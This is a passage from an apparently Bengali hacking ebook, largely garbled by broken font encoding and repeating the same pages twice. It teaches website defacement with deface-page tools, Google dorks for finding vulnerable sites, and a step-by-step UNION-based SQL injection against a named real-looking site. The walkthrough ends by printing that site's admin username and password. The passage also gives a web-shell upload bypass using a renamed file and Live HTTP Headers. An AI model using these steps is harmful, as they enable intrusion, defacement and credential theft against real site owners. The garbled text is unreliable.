কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 61: Hacking Bangla eBook

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 62: Hacking Bangla eBook

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

